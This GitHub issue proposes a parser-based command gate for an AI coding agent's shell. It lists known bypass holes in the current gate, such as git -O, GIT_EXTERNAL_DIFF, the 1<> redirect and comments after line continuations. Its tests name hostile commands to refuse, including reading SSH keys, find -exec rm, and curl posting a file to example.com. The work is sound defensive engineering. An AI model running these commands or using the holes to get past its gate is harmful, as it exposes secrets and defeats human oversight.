Repository navigation
Description
Problem or Motivation
The implement shell gate reads only the first word with shlex, and it finds operators as plain text (implement_step.py:575-577; pydantic_ai_harness/shell/_toolset.py:295-310).
- In 7 days (Loki, namespace devops, container runner, 2026-11-05..12), the gate refused 175 of 2,526 shell calls (6.9 %). 78 % of these refusals were of allowlisted programs.
- The shapes S1-S6 (127 of 175) are syntax only: a quoted
;inuv run python -c, a quoted heredoc,git status && git log,;chains of reads, and pipes into cat or sort. - All 13 halts on 3 refusals in a row came from S1 or S2 (implement_tool_log.py:503). No Loki line records a halt: 0 lines in 30 days for the texts of messages.py:3073-3078.
The gate also lets dangerous commands through. uv and git take any arguments, so uv run curl ..., git -c alias.x='!cmd' x and git push pass. Probes found parse holes:
- G1: text that shlex cannot read skips the allowlist (_toolset.py:299-302).
- G2: a bare
&starts a second program (constants.py:3620-3635). - G3:
cat x 1<>madewrites a file (implement_shell_policy.py:240). - tree-sitter reads a
#after a backslash-newline as a comment, but dash runs the text after it. git grep -O<cmd>,GIT_EXTERNAL_DIFF=<cmd> git diffandgit --config-envstart programs.git diff --output=../xwrites outside the repository.- A doubled
/or a glob in a path word gets past word patterns.
All lists are code constants. No setting changes them, and no repository has its own list (implement_shell_policy.py:120-208; settings.py:1262). The owner asked for a configured allowlist and blocklist, with a one-line reason for each entry.
Proposed Solution & Architectural Design
Add the package src/devops_cli/roadmap/command_gate/ (tracker #5199 gives the gate flow):
parse.py: the tree-sitter-bash walker (tree-sitter-bash 0.25.1, pyproject.toml:66). It gives the simple commands and their argv, and it applies the rules of gate flow steps 2-4:long,invisible_char,non_ascii,parse_error,comment,continuation,substitution,background,compound,bash_only,path_program,program_env(an allowlist of env names),opaque_executor,interactive,too_many_partsandopaque_blob. It unwraps the wrappers of step 6.words.py: the normalization of path words, glob expansion (at most 200 results), path classes, and the rulewrite_outsidefor every program.argmodel.py: the git global-option table (rulegit_global), theuv runoption table, and the sed and awk script check (<script_exec>).lists.py: the entry model (id, pattern, reason, instead, except, floor, match, not_match) in the shape of the Codexprefix_rule, the merge of defaults, settings and repository entries, and the load checks.default_lists.yaml: today's programs as entries with narrower arguments, the measured safe forms, the indirect-executor table, the host list and the block entries. The measured safe forms aregit -C <checkout>,git --no-pager, git stash list and show, git worktree list, git merge-base, ls-tree, for-each-ref, check-ignore, the read forms of git branch and git remote, anduv runof ast-grep, coverage, diff-cover and actionlint.profiles.py: the profile table. This item addsimplement_shell. Later items add the other profiles.gate.py:judge(command, profile, repo)returns a Verdict (run or refuse, source, rule, text). In this item, the gate refuses the rest with sourcedefault, and the text names the 3 nearest allow entries.
Owner decisions of 2026-11-12 (tracker #5199):
- Inline Python goes on the allowlist:
uv run python -c '<code>'anduv run python - <<'PY'with a quoted heredoc. They have the same power asuv run python <file>. This removes 77 refusals and all 13 measured halts. - These are floor block entries (
floor: true), and only the owner can remove one: git push, git config writes, git remote changes, git options that start a program or write a file, secret paths, and writes outside the checkout. - The design also proposes these default block entries: send-data flags, package installs and
uv run --withoutside the lock, inline code of other interpreters, persistence programs, and curl, wget and git to a host offroadmap.command_gate.hosts. They are not in the owner's floor list, so the pull request does not mark them floor. - The job record of the item keeps the masked text of each refused command: at most 300 characters for each command and 20 commands for each Job, for 14 days. The text goes through mask_secrets and mask_private_hosts first. The log line and the counter still hold no argument word.
Wire the gate into _RefusingToolset (implement_shell_refusal.py:73-105). Set the harness Shell to allowed_commands=[], denied_commands=[] and denied_operators=[] (implement_step.py:575-577). The explicit empty denied_commands list matters: the harness puts its default deny list back when the field holds the default object (pydantic_ai_harness/shell/_capability.py:144-145). The harness keeps its NUL, encoding and interactive checks.
Remove HARNESS_DENIED_OPERATORS, pipe_refusal and refused_argument. Make these from the lists: IMPLEMENT_SHELL_PROGRAMS, the prompt table (implement_shell_policy.py:519-547; ai/tasks/roadmap_implement_step.md:49-57) and the tool-log vocabulary (implement_tool_log.py:95-103, 170). When ToolCallLog stops a step, it logs Command gate halt: limit <name>, last rule <id>.
Add:
- The settings model
roadmap.command_gate(allow, block, hosts, env_allow, repos, command_chars, max_parts, max_rest_parts). - The counter
devops_cli_roadmap_command_gate_total{gate,source,verdict}. - The log line
Command gate: <gate>, source <source>, rule <entry or rule id>, program <name or other>, <verdict>, seconds <n>., with no argument word. - ADR 0026 for the full three-tier design: the gate is an accident filter; Jev comes later, in shadow first; Jev is never the only control; the pod and the egress limits are the boundary.
- SECURITY.md: the floor entries, as an accident filter that only the owner can change.
- README.md: the settings and the metric. Regenerate docs/CONFIGURATION.md and docs/TELEMETRY.md.
Report the tree-sitter difference (a comment after a line continuation) upstream.
Files: src/devops_cli/roadmap/command_gate/ (__init__.py, parse.py, words.py, argmodel.py, lists.py, profiles.py, gate.py, default_lists.yaml); src/devops_cli/roadmap/implement/ (implement_shell_refusal.py, implement_step.py, implement_shell_policy.py, implement_tool_log.py); src/devops_cli/config/constants.py; src/devops_cli/config/settings.py; src/devops_cli/telemetry/instruments.py; src/devops_cli/lang/en/messages.py; src/devops_cli/ai/tasks/roadmap_implement_step.md; docs/adr/0026-a-command-gate-parses-each-command-checks-configured-lists-and-asks-jev-for-the-rest.md; SECURITY.md; README.md; docs/CONFIGURATION.md; docs/TELEMETRY.md; tests/roadmap/command_gate/ (test_roadmap_command_gate_parse.py, _words.py, _lists.py, _gate.py, _dash.py, cases_2026_11.json, started_2026_11.json); tests/roadmap/implement/ (test_roadmap_implement_shell_refusal.py, _shell_policy.py, _read_pipe.py, _prompt.py).
Target Subsystem
SDLC, Git & PR Governance (src/devops_cli/roadmap/implement/, the implement runner) and Security & Vulnerability Scanners (the command gate lists).
Existing Tool Considered
- tree-sitter-bash for the parse (a dependency).
- The Codex rules design (https://learn.chatgpt.com/docs/agent-configuration/rules) for the data shape.
- fnmatch and glob for patterns and paths, and unicodedata for the character classes (stdlib).
- Not used: sh-guard and bashlex are GPLv3, AgentTrust is AGPL, and SecureShell is unmaintained. The harness operator check sits in the tool body (_toolset.py:295-297), so it refuses a call after a judge admits it.
- The build covers about 650 lines. Cost: about 1.8M tokens and 2.5 days elapsed.
Acceptance Criteria
uv run devops ci fail-to-pass --base origin/mainshows that the new tests fail on main and pass on the branch for these cases:echo hiwith a trailing backslash is refused (ruleparse_error).git --version&printf xis refused (rulebackground).cat x 1<>madeis refused (ruleparse_error).cat x &>fis refused (rulebash_only).printf ok #'is refused (rulecomment).ls x, a backslash-newline and#; printf Bis refused (rulecontinuation).GIT_EXTERNAL_DIFF=x git diffis refused (ruleprogram_env).git -c core.hooksPath=h statusis refused (rulegit_global).printf x >> ../outside.txtis refused (rulewrite_outside).
tests/roadmap/command_gate/test_roadmap_command_gate_gate.py: these give run with sourceallow:git status && git log -3,uv run python -c 'import a; print(1)',uv run python - <<'PY'(quoted heredoc),ls -a; ls .data,git status --short | cat,git -C <checkout> status,git --no-pager log -1,git stash list,uv run ast-grep -p x srcandsed -n 1,20p README.md.tests/roadmap/command_gate/test_roadmap_command_gate_gate.py: these give refuse with sourceblock, and the text holds the entry reason:git push origin HEAD,git -C . push origin HEAD,git config --local user.name x,git remote add x https://example.com/x.git,git grep -O'touch m' -e x,git diff --output=../x,cat /home/devops/.ssh/id_ed25519,cat //home/devops/.ssh/id_ed25519,cat /home/devops/.ss[h]/id_ed25519,find . -exec rm {} +,uv run --with requests python -c 1,python3 -c 'print(1)',sed 's/a/b/w out' fanduv run bash -c 'curl -d @x https://example.com'.tests/roadmap/command_gate/test_roadmap_command_gate_gate.py: a Unicode tag character in a quoted word gives ruleinvisible_char;curl https://gіthub.com/xwith a Cyrillic i gives rulenon_ascii;curl -s https://example.org/xgives block entryforeign-host;curl -sI https://github.comgives refuse with sourcedefault, and the text names at most 3 allow entries and no word of the command;make testwith no allow entry gives ruleindirect_executor.tests/roadmap/command_gate/test_roadmap_command_gate_dash.py: every case ofcases_2026_11.json,started_2026_11.jsonand the test cases runs under dash, with PATH set to stub programs that log their argv. For each case that tier 1 does not refuse, the logged programs and words are equal to the parts of the gate. The test skips when dash is missing.tests/roadmap/command_gate/test_roadmap_command_gate_lists.py: an entry whose not_match example matches stops the settings load, and the error names the entry id; an entry whose first element is**or a glob stops the load; a repos entry applies only to its repository; a settings allow entry does not win over a block entry;test_floor_entriesfails when one of the 6 floor entries of the owner leavesdefault_lists.yaml.tests/roadmap/implement/test_roadmap_implement_shell_refusal.py: a refused call adds 1 todevops_cli_roadmap_command_gate_total{gate="implement_shell",source="block",verdict="refuse"}and adds no tool retry, and the log line holds no word after the program; a third refusal in a row stops the step and logs theCommand gate halt:line with the rule.- A refused command that holds a fake secret and a private host name adds one entry to the job record. The entry holds neither value and is at most 300 characters. The 21st refused command in a Job adds no entry.
- Real transcripts:
tests/roadmap/command_gate/cases_2026_11.jsonholds one concrete command for each refused shape S1-S9 of 2026-11-05..12. The test asserts that S1-S6 (127 of 175) run and S7-S9 stay refused.tests/roadmap/command_gate/started_2026_11.jsonholds one concrete command for each command shape of the Lokistarted:lines of the same 7 days. The test asserts that at most 5 shapes that ran then are refused now, and the file names each one with its reason (for exampleuv tool installanduv lock). uv run devops ci test tests/roadmap/command_gate tests/roadmap/implementpasses.
Dependencies
-
chore(roadmap): hold incremental stage and implement work #6521 (hold: incremental work on the stage, implement and fix-checks jobs waits for the re-architecture)
-
A private security fix (owner).
Related
- Tracker: feat(roadmap): track the shared command gate #5199.
- feat(roadmap): rank refused tool calls and propose safe tool changes #5180: the refusal key (gate, program or other, source, entry or rule id) and the wider known-program list move into this item. feat(roadmap): rank refused tool calls and propose safe tool changes #5180 keeps the ranking and the proposals.
- feat(roadmap): an implement refusal halt gets one repair turn #4859: this item removes the measured cause of all 13 halts (S1 and S2) and adds the halt log line. feat(roadmap): an implement refusal halt gets one repair turn #4859 is measured again after the deploy.
- feat(roadmap): the implement shell and prompt use the preset #4645: the implement shell and prompt use the preset. The gate lists replace the program constants that the preset reads.
Source: #5199
Proposed design
Problem statement
Build the command gate as one pull request; hold it on the owner's private security fix. The implement shell gate refuses safe commands and lets dangerous ones through: it reads only the first word with shlex and finds operators as plain text. In 7 days it refused 175 of 2,526 shell calls, and 78 % of these refusals were of allowlisted programs. All 13 halts came from two syntax-only shapes. The gate also lets dangerous commands through, because uv and git take any arguments, and all lists are code constants. The change adds a tree-sitter-bash parser and configured lists with a reason for each entry, and floor blocks that only the owner can remove; the gate splits a chain, accepts quoted code, and names the rule of each verdict.
Acceptance criteria
Requirement: Parser refuses syntax holes
The gate SHALL refuse a command with the named rule when the parse fails, a second program starts, the text changes, or a write leaves the checkout.
Scenario: Refuse each parse hole
- WHEN A test judges
echo hi\,git --version&printf x,cat x 1<>made,cat x &>f,printf ok #',ls xwith a backslash-newline and#; printf B,GIT_EXTERNAL_DIFF=x git diff,git -c core.hooksPath=h statusandprintf x >> ../outside.txt. - THEN Each command is refused with the rule that the case names.
echo hi\andcat x 1<>madegiveparse_error. The other cases givebackground,bash_only,comment,continuation,program_env,git_globalandwrite_outside.
Requirement: Chain splits into policy-checked parts
The gate SHALL split a command at its top-level operators and SHALL judge and run each part as its own policy-checked call, in order.
Scenario: Split a chain and stop at the first failure
- WHEN A test judges
git status && git log -3, and a test runsuv run python -c 'raise SystemExit(1)' && git statusthrough the shell. - THEN The first command gives two run verdicts, one for
git statusand one forgit log -3. The run of the second command stops after its first part, returns that part's exit status, and does not rungit status.
Requirement: Quoted code keeps its operators
The gate SHALL accept ; and a new line inside one quoted argument of uv run python -c, and SHALL refuse a substitution and an operator outside quotes.
Scenario: Accept quoted code and refuse a substitution
- WHEN A test judges
uv run python -c 'import a; print(1)',uv run python -c 'import athen a new line thenprint(1)',uv run python -cwith a backtick in the quoted code, anduv run python -c 'print($(id))'. - THEN The first two run with source
allow. The last two are refused with rulesubstitution.
Requirement: Measured safe forms run
The gate SHALL allow the measured safe forms with source allow.
Scenario: Allow measured safe forms
- WHEN A test judges
git status && git log -3,uv run python -c 'import a; print(1)',uv run python - <<'PY'with a quoted heredoc,ls -a; ls .data,git status --short | cat,git -C <checkout> status,git --no-pager log -1,git stash list,uv run ast-grep -p x srcandsed -n 1,20p README.md. - THEN Each part of each command gets a run verdict with source
allow.
Requirement: Block entries refuse dangerous commands
The gate SHALL refuse a command with source block and the entry reason when it matches a block entry.
Scenario: Refuse block entries
- WHEN A test judges
git push origin HEAD,git -C . push origin HEAD,git config --local user.name x,git remote add x https://example.com/x.git,git grep -O'touch m' -e x,git diff --output=../x,cat /home/devops/.ssh/id_ed25519,cat //home/devops/.ssh/id_ed25519,cat /home/devops/.ss[h]/id_ed25519,find . -exec rm {} +,uv run --with requests python -c 1,python3 -c 'print(1)',sed 's/a/b/w out' fanduv run bash -c 'curl -d @x https://example.com'. - THEN Each command is refused with source
block, and its text holds the reason of the matched entry.
Requirement: Character and host rules
The gate SHALL refuse a command with the rule invisible_char or non_ascii for such a character, and with the entry foreign-host for a foreign host.
Scenario: Refuse character and host rules
- WHEN A test judges a Unicode tag character in a quoted word,
curl https://gіthub.com/xwith a Cyrillic i,curl -s https://example.org/xandcurl -sI https://github.com. - THEN The first command gets
invisible_char, and the second getsnon_ascii. The third getsblockwith entryforeign-host, and the fourth gets sourcedefault.
Requirement: Default refusal names the rule
The gate SHALL refuse a command with source default and a text that names the rule, no word of the command, and at most 3 nearest allow entries when no entry matches.
Scenario: Default refusal
- WHEN A test judges
make testwith no allow entry, andcurl -sI https://github.com. - THEN The verdict is refuse with source
defaultand the ruleindirect_executorformake test. The text holds no word of the command and names at most 3 allow entries.curl -sI https://github.comgives sourcedefaultand no command word.
Requirement: Command gate settings
The settings SHALL hold a roadmap.command_gate section with allow, block, hosts, env_allow, repos, command_chars, max_parts and max_rest_parts.
Scenario: Load command gate settings
- WHEN A test loads a config file that sets
roadmap.command_gate.hostsand one allow entry. - THEN The settings hold the host and the entry. A value that is not valid stops the load with an error that names the key.
Requirement: Lists load checks
The gate SHALL stop the settings load for a bad not_match example or a glob first element, and SHALL apply a repos entry only to its repository.
Scenario: Refuse bad list entries
- WHEN A test loads settings with an entry whose
not_matchexample matches, an entry whose first element is**, and areposentry for another repository. - THEN The load fails with an error that names the entry id, and the glob entry fails. The
reposentry does not apply to the other repository.
Requirement: Settings allow does not beat block
The gate MUST let a block entry win over a settings allow entry.
Scenario: Block wins over allow
- WHEN A test sets a settings allow entry and a block entry for the same command.
- THEN The command is refused with source
block.
Requirement: Floor entries stay
The gate MUST fail its test when one of the 6 floor entries of the owner leaves default_lists.yaml.
Scenario: Floor entries stay
- WHEN A test reads
default_lists.yamland checks the 6 floor entries. - THEN The test fails when any floor entry is missing.
Requirement: Metric, log line and halt
The gate SHALL add 1 to the counter for a refused call, add no tool retry, and write the log line with no argument word. It SHALL stop the step after the third refusal in a row.
Scenario: Refused call metric and halt
- WHEN A test refuses three commands in a row through the implement shell.
- THEN The counter adds 1 for the block refusal, and the tool retry count stays the same. The log line holds no word after the program and has the six fields. The third refusal stops the step with a
Command gate halt: limit <name>, last rule <id>.line.
Requirement: Masked refusal record
The job record SHALL keep a masked text of each refused command, at most 300 characters each and 20 commands for each Job, for 14 days.
Scenario: Masked refusal record
- WHEN A test refuses a command that holds a fake secret and a private host name, and then refuses 21 commands in one Job.
- THEN The job record holds one entry that holds neither value and is at most 300 characters. The 21st command adds no entry.
Requirement: Real transcripts
The gate MUST allow the S1-S6 shapes of the 2026-11-05..12 transcripts and refuse S7-S9, and MUST refuse at most 5 shapes of the Loki started: lines.
Scenario: Replay real transcripts
- WHEN A test runs
cases_2026_11.jsonandstarted_2026_11.jsonthrough the gate. - THEN S1-S6 run, and S7-S9 are refused. At most 5 shapes that ran then are refused now, each named with its reason.
Requirement: Gate parts match dash
The gate SHALL give the same programs and words as dash for each case that tier 1 does not refuse.
Scenario: Run cases under dash
- WHEN A test runs
cases_2026_11.json,started_2026_11.jsonand the test cases under dash, with PATH set to stub programs that log their argv. The test skips when dash is missing. - THEN For each case that tier 1 does not refuse, the logged programs and words are equal to the parts of the gate.
Requirement: Constants derive from the lists
The change SHALL remove HARNESS_DENIED_OPERATORS, pipe_refusal and refused_argument, and SHALL derive IMPLEMENT_SHELL_PROGRAMS and the tool-log vocabulary from the lists.
Scenario: Constants match the lists
- WHEN A test loads the tool log with a default list that names a program and a refusal.
- THEN The allowed-programs line and the tool-log vocabulary name the same programs as the lists. The removed symbols are absent.
Requirement: Prompt allows the measured safe forms
The prompt SHALL allow chains of allowlisted commands, pipes into cat and sort, uv run python -c and a quoted heredoc, and SHALL keep the ban on sleep, polling and a refused command.
Scenario: Prompt matches the gate
- WHEN A test reads
src/devops_cli/ai/tasks/roadmap_implement_step.md. - THEN It names
uv run python -c, a quoted heredoc,;and&&chains and pipes intocatandsortas allowed. It still forbidssleepand polling.
Requirement: Only the implement_shell profile
The change SHALL add only the implement_shell profile to the profile table.
Scenario: Profile table
- WHEN A test reads the profile table.
- THEN It holds
implement_shelland no other profile.
Requirement: ADR and documents
The change SHALL add ADR 0026 for the three-tier design, the floor entries to SECURITY.md, the settings and metric to README.md, and SHALL regenerate docs/CONFIGURATION.md and docs/TELEMETRY.md.
Scenario: Documents record the gate
- WHEN A test or docs check reads ADR 0026,
SECURITY.md,README.mdand the generated documents. - THEN ADR 0026 states the three tiers, that the gate is an accident filter and not a security boundary, that Jev comes later in shadow first and is never the only control, and that the pod and egress limits are the boundary.
SECURITY.mdnames the floor entries.README.mdnames the settings and metric, and the generated documents hold the same settings and metric.
Requirement: Tests pass
The change SHALL pass uv run devops ci test tests/roadmap/command_gate tests/roadmap/implement.
Scenario: Gate tests pass
- WHEN The CI test command runs on the branch.
- THEN The command exits 0.
Existing Tool Considered
No alternatives check has run. tree-sitter-bash 0.25.1 is the open, maintained parser and is already a dependency at pyproject.toml:66; it covers the parse of a shell command and lacks the configured allowlist and blocklist, the reason and examples of each entry, the floor entries, the path and argument models, the chain split, the quoted-code rule and the gate. The Codex rules design gives the data shape, and fnmatch, glob and unicodedata are stdlib. sh-guard and bashlex are GPLv3, AgentTrust is AGPL, and SecureShell is unmaintained. The project builds the gate in about 650 lines. The written cost is about 1.8M tokens to build, keep and fix, and 2.5 days elapsed.
Key questions
- Which parser reads each shell command?: Use tree-sitter-bash 0.25.1. It is already a dependency at
pyproject.toml:66, and it gives the simple commands, their argv, the redirections, the heredocs and the operators.shlexreads only the first word and finds the operators as plain text. (best practice) [sources: pyproject.toml:66, src/devops_cli/roadmap/implement/implement_step.py, src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: tree-sitter-bash. It is already a dependency, and it parses operators, redirections, heredocs and continuations.
- Rejected: shlex and text patterns. This is the current gate; it reads only the first word and finds operators as plain text.
- Rejected: bashlex. The issue names it GPLv3, so this MIT project cannot vendor it.
- How does the gate split a chain and read quoted code?: The parser splits the command at its top-level
;,&&,||and|operators. The gate judges and runs each part as its own policy-checked call, in order. It stops at the first exit that is not 0. It accepts;and a new line inside one quoted argument ofuv run python -c. It refuses$(, a backtick and an operator outside quotes. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py, src/devops_cli/ai/tasks/roadmap_implement_step.md]- Chosen: split the chain and read quoted code. The reply of 2026-11-13 measured 71 refusals in 1,231 calls: 27 were quoted code with
;or a new line, and 17 weregitwith&&. - Rejected: refuse the whole command. This is the current gate; the model sends the same form again 17 times after a
python -crefusal.
- Chosen: split the chain and read quoted code. The reply of 2026-11-13 measured 71 refusals in 1,231 calls: 27 were quoted code with
- Which finder gives the top-level operators?: The tree-sitter-bash tree gives the operator nodes and the heredoc body.
shlexwithpunctuation_chars=Truefinds the same operators outside quotes, but it cannot tell a heredoc body from a command, so the gate uses the tree. (best practice) [sources: pyproject.toml:66, src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: tree-sitter operator nodes. The tree holds the heredoc and the redirections, so a split keeps a quoted heredoc whole.
- Rejected: shlex with punctuation_chars. It finds operators outside quotes, but a heredoc body becomes words and operators of the command.
- Does inline Python go on the allowlist?: Yes. The owner decided on 2026-11-12 to allow
uv run python -c '<code>'anduv run python - <<'PY'with a quoted heredoc. They have the same power asuv run python <file>, and they remove 77 refusals and all 13 measured halts. (best practice) [sources: src/devops_cli/ai/tasks/roadmap_implement_step.md, src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: allow inline Python. The owner decided it, and it removes the measured refusals and halts.
- Rejected: refuse all inline Python. It keeps the 77 refusals and the halts that the owner decided to remove.
- Rejected: allow -c but refuse heredocs. A quoted heredoc is a safe form that the owner named.
- Which block entries are floor entries that only the owner can remove?: The owner named six floor entries on 2026-11-12: git push, git config writes, git remote changes, git options that start a program or write a file, secret paths, and writes outside the checkout. The pull request marks only these as
floor: trueand records them inSECURITY.md. (best practice) [sources: SECURITY.md, src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: the six owner floor entries. The owner named them on 2026-11-12.
- Rejected: every default block entry is floor. The owner said the other default blocks are not floor.
- Rejected: no floor entries. It removes the owner-only guard.
- Do the proposed default block entries become floor entries?: No. The default block entries are send-data flags, package installs,
uv run --withoutside the lock, inline code of other interpreters, persistence programs, and curl, wget and git to a host offroadmap.command_gate.hosts. The owner said on 2026-11-12 that they are not in the floor list, so the pull request does not mark them floor. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: default block entries are not floor. The owner said they are not in the floor list.
- Rejected: make them floor. It gives the owner list more entries than the owner named.
- Rejected: omit them. They still block by default, and the issue asks for them.
- What does the job record keep of a refused command?: Keep the masked text of each refused command: at most 300 characters for each command and 20 commands for each Job, for 14 days. Run the text through
mask_secretsandmask_private_hostsfirst. The log line and the counter still hold no argument word. (best practice) [sources: src/devops_cli/roadmap/implement/implement_tool_log.py, src/devops_cli/security/sanitizer.py]- Chosen: masked text, bounded. It gives evidence for a stop and keeps secrets and private hosts out.
- Rejected: hash of each command. A hash gives no evidence of the refused shape.
- Rejected: full command text. It can hold a secret or a private host.
- How does the gate connect to the harness shell?: Wrap the harness shell in
_RefusingToolsetand setallowed_commands=[],denied_commands=[]anddenied_operators=[]. The explicit emptydenied_commandslist matters: the harness puts its default deny list back when the field holds the default object. The harness keeps its NUL, encoding and interactive checks. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_refusal.py, src/devops_cli/roadmap/implement/implement_step.py]- Chosen: wrap the harness shell and empty its lists. The gate judges every command, and the harness keeps its low-level checks.
- Rejected: keep the harness lists and add the gate beside them. Two allowlists disagree, and the harness still refuses a call after the judge admits it.
- Rejected: replace the harness shell. It loses the NUL, encoding and interactive checks.
- Which code constants become generated from the lists?: Remove
HARNESS_DENIED_OPERATORS,pipe_refusalandrefused_argument. MakeIMPLEMENT_SHELL_PROGRAMSand the tool-log vocabulary from the lists. WhenToolCallLogstops a step, it logsCommand gate halt: limit <name>, last rule <id>.(best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py, src/devops_cli/roadmap/implement/implement_tool_log.py]- Chosen: derive the constants and the vocabulary from the lists. One source of truth keeps the lists and the log vocabulary equal.
- Rejected: keep the constants and the lists. They drift, and the log can name a program that the gate refuses.
- Which metric and log line does the gate emit?: Add the counter
devops_cli_roadmap_command_gate_total{gate,source,verdict}and the log lineCommand gate: <gate>, source <source>, rule <entry or rule id>, program <name or other>, <verdict>, seconds <n>.with no argument word. (best practice) [sources: src/devops_cli/telemetry/instruments.py, src/devops_cli/lang/en/messages.py, docs/TELEMETRY.md]- Chosen: counter and log line. The counter shows the gate result, and the log gives the rule without an argument word.
- Rejected: counter only. An operator cannot see which rule refused a command.
- Rejected: log line only. No dashboard or alert can count the refusals.
- Which documents record the design and the floor entries?: Add ADR 0026 for the three-tier design. Put the floor entries in
SECURITY.mdas an accident filter that only the owner can change. Put the settings and the metric inREADME.md, and regeneratedocs/CONFIGURATION.mdanddocs/TELEMETRY.md. (best practice) [sources: SECURITY.md, README.md, docs/CONFIGURATION.md, docs/TELEMETRY.md]- Chosen: ADR, SECURITY, README and generated docs. The project records a design in an ADR, and a generated document is never edited by hand.
- Rejected: README only. It leaves the floor entries and the three-tier design unrecorded.
- Rejected: edit the generated docs by hand. The docs row of Static Analysis refuses a generated document that its generator did not write.
- Which gate profile does this item add?: Add only the
implement_shellprofile. Later items add the other profiles. The profile table lives inprofiles.py, and this item wires only the implement shell. (best practice) [sources: src/devops_cli/roadmap/implement/implement_step.py]- Chosen: only implement_shell. The issue says this item adds implement_shell and later items add the other profiles.
- Rejected: all profiles now. It grows the item beyond the issue and delays the implement shell.
- Rejected: no profile table. The issue names profiles.py, and the later items need the table.
- What does the gate do with a command that matches no entry?: It refuses the command with source
default. For a program that runs another program, the rule isindirect_executor. The text holds the rule id, no word of the command, and at most 3 nearest allow entries. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: refuse with the rule id and the nearest allow entries. An unknown program is the case that the gate must refuse, and the model needs a safe hint to correct the call.
- Rejected: allow it. An unknown program is the case that the gate must refuse.
- Rejected: refuse with no text. The model needs a safe hint to correct the call.
- Where do the lists come from and which one wins?: The defaults are package data in
default_lists.yaml. Settings add entries globally and for each repository underroadmap.command_gate, and a block entry wins over an allow entry. The gate never reads a list from the target repository, so a repository cannot widen its own gate. (best practice) [sources: src/devops_cli/config/settings.py, src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: defaults, settings and repository entries. The owner asked for a configured list, and package defaults keep a safe gate when no setting exists.
- Rejected: code constants only. This is the current problem; no setting or repository can change the list.
- Rejected: a list file in the target repository. The target repository could widen its own gate, and the issue forbids it.
- How does the gate treat path words and writes?: Normalize each path word, expand a glob to at most 200 results, give each path a class (checkout, tmp, scratch_home, git_internal, secret or outside), and refuse a write redirect to a target outside the checkout,
/tmpand the scratch HOME. The class check also catches a doubled/and a glob that a plain word pattern would miss. (best practice) [sources: src/devops_cli/roadmap/implement/implement_shell_policy.py]- Chosen: normalize, expand and classify paths. It closes the doubled-slash and glob holes and gives one rule for every program.
- Rejected: match the raw word against a pattern. A doubled
/or a glob gets past the pattern, which is the measured hole. - Rejected: check only the first redirect. A later redirect or a program that writes can still leave the checkout.
- Is the command gate a security boundary?: No. The gate is an accident filter and a usability filter. The pod and the egress limits are the security boundary. Jev comes later, in shadow first, and it is never the only control. (best practice) [sources: SECURITY.md, CONTEXT.md]
- Chosen: accident filter, with the pod and egress limits as the boundary. The tracker records this, and a parser bypass is not a breach of the boundary.
- Rejected: the gate is the security boundary. A parser or list bypass would then be a security breach, which the design cannot guarantee.
- Rejected: no gate. The measured 175 refusals and 13 halts show that the gate is needed for usability and accidents.
Fit
Fits in one pull request.
Suspected block
A private security fix that the owner holds; the gate must not deploy before that fix lands.
Dependencies
None.
Alternatives check of 2026-11-28: in-use.
The repository already uses this tool.
Tool: tree-sitter/tree-sitter-bash (https://github.com/tree-sitter/tree-sitter-bash), MIT, last activity 2026-09-13, maintained.
Reason: Searches and fact reads found tree-sitter-bash, an MIT, maintained bash parser that the project already depends on; it covers parsing of commands, argv, redirections and heredocs, but not the configured lists, path rules or gate verdicts, so it covers only part of the need.
Covers:
- Parses bash into a tree of simple commands and argv words
- Gives redirections, heredocs, operators and continuations as nodes
- Keeps quoted words whole, so a quoted semicolon is one argument
- MIT licensed and already a project dependency at 0.25.1
Lacks:
- Configured allow and block entries with a reason and examples
- Floor entries that only the owner can remove
- Path normalization, glob expansion and the write-outside rule
- Chain splitting, per-part verdicts and default refusal text
Activity
dan-petty commentedon Nov 12, 2026
The gate has confirmed parse holes that let program execution through and refuses 78% of allowlisted calls.Both work on the implement shell gate, but #4645 changes which programs the allowlist names while the candidate changes how commands are parsed and how lists are configured.devops-cli-service commentedon Nov 12, 2026
Refine cannot set this item to Ready at 7a158c4 until a person answers the questions below. Reply in a comment or edit the body, and the next refine round looks at the item again.
dan-petty commentedon Nov 13, 2026
New evidence of 2026-11-13 (review of failing jobs). The hint part is now a sub-issue: #5452. It can merge before the parser of this item.
python -ccode with;or a new line 27 (10 runs),gitwith&&15 and with|2 (9 runs),lswith;2.gititself is allowed: 322 of 339gitcalls passed.python -crefusal, the model sent the same form again 17 times (7 were refused again). After agit ... &&refusal, it sentread_file9 times and onegitcommand only 2 times.Two concrete parser shapes for this item:
a && band runs each part as its own policy-checked call, in order. It stops at the first exit that is not 0 and returns the exit status of each part.;and a new line inside one quoted argument ofuv run python -c. It still refuses$(, backticks and operators outside quotes.Python
shlexwithpunctuation_chars=True(standard library) finds operators outside quotes.Measure: refusals per implement run go down from about 4, and stops after 3 refusals in a row go to 0.
devops-cli-service commentedon Nov 13, 2026
Refine cannot set this item to Ready at 6eae498 until a person answers the questions below. Reply in a comment or edit the body, and the next refine round looks at the item again.
devops-cli-service commentedon Nov 14, 2026
Owner question: A private security fix that the owner holds; the gate must not deploy before that fix lands.
Options
Recommendation: Decide the question: only a person can answer it.
Evidence
devops-cli-service commentedon Nov 19, 2026
The result in the alternatives block of the issue body changed. Before this check: no check. A person decides what the new result means for the item.
